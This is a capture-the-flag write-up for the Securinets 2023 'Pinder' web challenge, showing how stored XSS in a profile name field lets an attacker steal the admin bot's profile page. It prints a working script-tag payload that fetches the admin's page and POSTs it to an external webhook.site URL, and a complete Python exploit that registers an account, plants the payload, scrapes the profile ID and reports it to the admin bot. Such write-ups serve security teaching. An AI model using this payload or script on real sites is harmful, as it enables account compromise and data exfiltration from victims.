Securinets CTF Quals 2023 - webx1
Pinder
Description
Link: http://pinder.securinets.tn
Source code here.
Solution
Review source code
The source code is quite a lot but I will focus on a few important files.
After looking through the entire source code, I noticed that there are some functions that should be paid attention to as follows:
- In the file
./routes/index.js
:
login
:
register
:
create-profile
and make-public
:
In this function 3 inputs are required including userId
, firt_name
, last_name
and profile_picture_link
.
const result = db.createProfile(req.session.userId, req.body.first_name, req.body.last_name, req.body.profile_picture_link, true);
/my-profile
:
This path allows you to view previously created profiles. in which there is a point worth noting.
res.render("my-profile", { profile: result[0] }
function gets the profile id in the database and displays it to the interface.
Here is the result of result
:
However, on the desktop interface, the profile id is hidden with style="display:none"
.
There are also 2 other paths but only for admin.
admin can view profiles of other accounts through the path /profile/{id}
.
- The flag is located in the profile of
admin
.
- I tried to create a template containing malicious javascript code and open it in
admin
account.
In my account.
In admin
.
yeah. :100: I received a message - XSS stored vulnerability from admin
side.
- In
./util/report.js
: There is a requirement, the url when sumit must start withhttp://127.0.0.1/profile
.
:::success => At this point, I can guess that this web application contains an XSS stored vulnerability.
The mining steps I perform will be as follows:
- Create an account and login
- Create profile contains XSS code to fetch to the profile in admin and send the results to a webhook.
- Get
id
ofprofile
just created in view-source - Submit my-profile to admin with the link
http://127.0.0.1/profile/{id}
- Get flags from webhook :::
Exploit XSS
- Now, I change a bit the old payload to .
"><script>fetch('http://127.0.0.1/my-profile').then(response => response.text()).then(data => {fetch(' https://webhook.site/9a0f20d5-7f92-43bb-a455-5d82fd12eb17',{method: 'POST', headers: {'Content-Type': 'text/plain'},body: data});}).catch(error => console.error(error));</script>
- Add it to the
firtname
of the profile.
Done!
- Looking at the source code we can see that
profile id
is485
- Now submit my profile to admin with the link
http://127.0.0.1/profile/485
- ok, i get the flag from webhook.
Flag: securinets{3bcc81811533d70940084c8}
Script
import requests
import string
import random
import time
from bs4 import BeautifulSoup
url = "http://pinder.securinets.tn"
webhook = "https://webhook.site/c575a735-3aaf-4b9a-b8b9-4eeba169e356"
payload = "'><script>fetch('http://127.0.0.1/my-profile').then(response => response.text()).then(data => {fetch('#####',{method: 'POST', headers: {'Content-Type': 'text/plain'},body: data});}).catch(error => console.error(error));</script>"
with requests.Session() as session:
username = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
session.post(url + '/register', json={ 'username': username, 'password': '12345678'})
session.post(url + '/login', json={ 'username': username, 'password': '12345678' })
payload = payload.replace('#####', webhook)
session.post(url + '/create-profile', json={"first_name":payload,"last_name":payload,"profile_picture_link":payload} )
res = session.get(url + '/my-profile')
if res.status_code == 200:
soup = BeautifulSoup(res.content, "html.parser")
card_subtitle = soup.find("p", class_="card-subtitle")
if card_subtitle:
value = card_subtitle.get_text().strip("#")
print("Id profile: ", value)
session.post(url + '/report', json={"url":"http://127.0.0.1/profile/" + value})
time.sleep(2)
print('Done! check webhook')
Result:
βββ(taiwhisγΏkali)-[~]
ββ$ python 2.py
Id profile: 517
Done! check webhook
Check webhook:
Comments